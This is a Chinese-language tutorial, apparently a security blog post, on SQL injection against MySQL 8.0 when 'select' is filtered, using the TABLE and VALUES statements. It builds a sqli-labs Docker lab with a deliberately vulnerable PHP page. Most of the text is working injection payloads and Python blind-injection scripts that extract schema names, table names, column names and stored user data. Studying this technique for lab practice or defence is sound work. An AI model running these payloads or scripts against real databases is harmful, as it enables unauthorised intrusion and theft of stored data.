MYSQL8.0特性—無select注入
前言
在mysql8.0之後又有了一個新特性,可以在過濾select的情況下,爆出我們需要的表名、欄位、資料。
環境配置
docker配置mysql
環境是基於8.0.19之後的,phpstudy最高才到8.0.12,所以需要用docker來配置
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
如果執行時出現以下錯誤,則是系統自啟了mysql佔用了3306埠
Error starting userland proxy: listen tcp4 0.0.0.0:3306: bind: address already in use.
這時候就需要先結束mysql程式
sudo service mysql stopdocker ps -a //剛才雖然報錯,但已經啟動了一個docker環境 需要檢視程式號 docker rm 程式號 //結束程式docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
之後便可進入docker環境中的mysql
docker ps docker exec -it e33fc8311fd7 /bin/bash //e33fc8311fd7 為程式號 //進入mysql mysql -uroot -p123456 //執行ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';flush privileges;
搭建sql靶場
cd vulstudy/sqli-labs預設為80埠會與apache衝突,所以可以改成8082docker run -d -p 8082:80 c0ny1/sqli-labs:0.1 //c0ny1/sqli-labs:0.1要根據docker檔案修改
配置好後進入容器,修改配置檔案db-creds.inc
,
docker psdocker exec -it b7291beb46ba /bin/bash
先安裝vim命令
sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list apt-get clean && apt-get update && apt-get install vim
配置db-creds.inc
cd /app/sql-connections/vim db-creds.inc
修改less-1原始碼
cd /app/Less-1vim index.php
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php"); error_reporting(0);// take the variables if(isset($_GET['id'])) { $id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// connectivity function blacklist($id){ $id= preg_replace('/select/i',"", $id); return $id; } $id = blacklist($id); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";}?></font> </div></br></br></br><center><img src="../images/Less-1.jpg" /></center></body></html>
配置完成後重啟環境
exitdocker psdocker restart b7291beb46ba
訪問配置成功
這裡其實也可以透過find / -name db-creds.inc
命令查詢配置檔案,直接修改
前置知識
在mysql8之後,多了兩個新的用法table
,value
table
MySQL :: MySQL 8.0 Reference Manual :: 13.2.12 TABLE Statement
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
TABLE 語句在某些方面的作用類似於 SELECT。給定一個名為 的表的存在,以下兩個語句產生相同的輸出:t
TABLE users; 等於SELECT * FROM users;
區別
1.TABLE始終顯示錶的所有列
2.TABLE不允許對行進行任意過濾,即TABLE 不支援任何WHERE子句
values
MySQL :: MySQL 8.0 Reference Manual :: 13.2.14 VALUES Statement
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index
VALUES是MySQL 8.0.19中引入的DML語句,它以表的形式返回一組一行或多行。換句話說,它是一個表值建構函式,也用作獨立的 SQL 語句。
mysql> VALUES ROW(1,2,3); +----------+----------+----------+| column_0 | column_1 | column_2 |+----------+----------+----------+| 1 | 2 | 3 |+----------+----------+----------+1 row in set (0.00 sec) mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8); +----------+----------+----------+| column_0 | column_1 | column_2 |+----------+----------+----------+| 1 | -2 | 3 || 5 | 7 | 9 || 4 | 6 | 8 |+----------+----------+----------+3 rows in set (0.00 sec)
values
也可以結合union
使用,判斷列數和進行注入
mysql> select * from users where id = 1 union values row(1,2,3); +----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb || 1 | 2 | 3 |+----+----------+----------+2 rows in set (0.00 sec)
利用方式
爆資料庫
table information_schema.schemata;# 列出所有資料庫資訊
這裡可以看到第一列資料為def、第二列資料為資料庫名security,可以用以下方式進行判斷
http://192.168.199.155:8082/Less-1/?id=1' and (table information_schema.schemata limit 4,1)>=('def','0',3,4,5,6)--+
當為s
時正常回顯
但當改為s
的下一位t
時,回顯消失,由此也可以判斷出資料庫的第一位為s,以此類推可以爆出資料庫名稱security
這裡也可以用我寫好的指令碼來跑庫名(指令碼能力偏弱,可能存在很多問題 望師傅們指正)
import requests url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100): m=32 n=127 while 1: b = 1 mid=(m+n)//2 payload="?id=1' and (table information_schema.schemata limit 4,1)>=('def','{}',3,4,5,6)--+".format(a+chr(mid)) r=requests.get(url=url+payload) #print(payload) if "Dumb" not in r.text: n=mid else: m=mid if(chr(mid)=="~" or chr(mid)=="+"): b=0 break if(m+1==n): a+=chr(m) print(a) break if(b==0): break
當然這裡如果只是過濾了select並且能回顯的話用-1 union values row(1,database(),3)--+
就完全可以查出資料庫名稱(這裡不行)
,除此外用concat(1,database(),3)跑常規盲註指令碼也是可以的,畢竟爆資料庫名沒有必要一定用select
爆表名
table information_schema.tables; # 列出所有表的資訊
這條命令會列出所有資料庫中的表,並且由於table
不能用where
,所以就需要我們自己先去找對應資料庫的位置,除此外information_schema.tables
共有21列,所有記錄的TABLE_CATALOG
的值都是def
。
這裡還是寫了一個指令碼來跑對應的列值,一個payload匹配的話很容易匹配錯誤,所以這裡採用兩種判斷方式一起進行來增加成功率(range的值可以根據需要修改)
import requests url="http://192.168.199.155:8082/Less-1/"for i in range(300,330): payload1="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit {},1)--+".format(i) payload2="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit {},1)--+".format(i) r1=requests.get(url=url+payload1) r2=requests.get(url=url+payload2) #print(payload) if "Dumb" in r1.text and "Dumb" in r2.text: print(i)
這裡跑出322-325是關於資料庫security的,之後就可以爆表名了(指令碼與跑資料庫的基本相同就改了個payload)
import requests url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100): m=32 n=127 while 1: b = 1 mid=(m+n)//2 payload="?id=1' and ('def','security','{}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 322,1)--+".format(a+chr(mid)) r=requests.get(url=url+payload) #print(payload) if "Dumb" not in r.text: n=mid else: m=mid if(chr(mid)=="~" or chr(mid)=="+"): b=0 break if(m+1==n): a+=chr(m) print(a) break if(b==0): break
分別跑出322-325的表名users,emails,uagents,referers
爆欄位
table information_schema.columns;# 列出所有表的資訊
列出所有表的資訊,所以就需要找到對應資料庫,與表名的那幾條資料,除此外information_schema.columns
表有22列,所有記錄的TABLE_CATALOG
都是def
跟之前一樣還是指令碼跑對應的列號,770-772
import requests url="http://192.168.199.155:8082/Less-1/"for i in range(1,3430): payload1="?id=1' and ('def','security','users','0','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) <=(table information_schema.columns limit {},1)--+".format(i) payload2="?id=1' and ('def','security','users','z','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) >= (table information_schema.columns limit {},1)--+".format(i) r1=requests.get(url=url+payload1) r2=requests.get(url=url+payload2) if "Dumb" in r1.text and "Dumb" in r2.text: print(i)
判斷完列號後,直接跑欄位
import requests url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100): m=32 n=127 while 1: b = 1 mid=(m+n)//2 payload="?id=1' and ('def','security','users','{}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 770,1)--+".format(a+chr(mid)) r=requests.get(url=url+payload) #print(payload) if "Dumb" not in r.text: n=mid else: m=mid if(chr(mid)=="~" or chr(mid)=="+"): b=0 break if(m+1==n): a+=chr(m) print(a) break if(b==0): break
由於linux列名忽略大小寫問題,所以這裡爆出的欄位會有些大小寫不一:id,username,password
爆資料
由於環境問題爆的沒有那麼準確,就比如第一個值是1,當爆到0後就該停止,但時候當迴圈到字母時,由於字母解析問題會將單個字母當做0來處理,就造成了資料冗餘(payload中三個回顯位的位置,代表id,username,password,當爆完id後就可爆username,其次password)
import requests url="http://192.168.199.155:8082/Less-1/"flag=''a=''for i in range(1,100): m=32 n=127 while 1: b = 1 mid=(m+n)//2 payload="?id=1' and ('{}','',1) <= (table security.users limit 0,1)--+".format(a+chr(mid)) r=requests.get(url=url+payload) print(payload) if "Dumb" not in r.text: n=mid else: m=mid if(chr(mid)=="~" or chr(mid)=="+"): b=0 break if(m+1==n): a+=chr(m) print(a) break if(b==0): break
除此外當我們得到表名其實也可以透過select * from users where id =1 union table users;
這種方式來獲取其中的資料
mysql> select * from emails where id =1 union table emails ; +----+------------------------+| id | email_id | +----+------------------------+ | 1 | Dumb@dhakkan.com || 2 | Angel@iloveu.com | | 3 | Dummy@dhakkan.local || 4 | secure@dhakkan.local | | 5 | stupid@dhakkan.local || 6 | superman@dhakkan.local | | 7 | batman@dhakkan.local || 8 | admin@dhakkan.com | +----+------------------------+ 8 rows in set (0.00 sec)
相關文章
- Mysql8.0部分新特性2018-12-12MySql
- MySQL8.0 新特性 top102018-08-31MySql
- mysql8.0新特性--隱藏索引2020-11-05MySql索引
- MySQL8.0 新特性:Partial Update of LOB Column2018-06-11MySql
- MySQL8.0新特性-CTE語法支援2020-04-13MySql
- MySQL8.0新特性-臨時表的改善2020-05-24MySql
- [Dcat Admin]表單無限極select2023-07-12
- .NET8依賴注入新特性Keyed services2023-11-16依賴注入
- 反射、特性、依賴注入、介面隔離原則2024-07-24反射依賴注入
- 好程式設計師大資料培訓分享MySQL8.0新特性2020-05-14程式設計師大資料MySql
- @FeignClient @Resource 無法注入Bean Springboot無法啟動2024-03-13clientBeanSpring Boot
- 整合測試時 MockMvc 無法注入2022-06-16MockMVC
- select 下拉框用 Select select = new Select (element) 方法失敗2020-11-06
- Spring Boot無法對Service進行注入2018-08-18Spring Boot
- 利用CSS注入(無iFrames)竊取CSRF令牌2018-06-21CSS
- select into 時有無strict關鍵字的區別2022-04-02
- MYSQL8.0安裝2019-01-28MySql
- MySQL8.0之XtraBackup2019-09-27MySql
- Mysql8.0 報錯2021-04-08MySql
- Spring注入:配置注入(set注入和構造器注入)與註解注入2020-12-12Spring
- MySQL8.0初體驗2018-11-12MySql
- MySQL8.0:The General Query Log2023-12-14MySql
- Docker 安裝 MySQL8.02019-12-22DockerMySql
- Mac 安裝 MySQL8.02020-07-03MacMySql
- Linux安裝MySQL8.02020-04-30LinuxMySql
- mysql8.0修改密碼2020-04-24MySql密碼
- MySQL8.0效能優化2021-06-19MySql優化
- Linux select()2018-10-13Linux
- insert into select2024-05-24
- select for update2024-08-13
- select()API2024-06-13API
- select * 和 select 所有欄位的區別2019-04-20
- insert into select語句與select into from語句2018-08-08
- MySQL8.0 · 最佳化器新特性 · Cost Model, 直方圖及最佳化器開銷最佳化2018-09-28MySql直方圖
- SQL 注入:聯合注入2020-02-11SQL
- 程式注入之DLL注入2018-04-17
- sql注入之union注入2020-12-13SQL
- 深入理解SELECT ... LOCK IN SHARE MODE和SELECT ... FOR UPDATE2019-01-04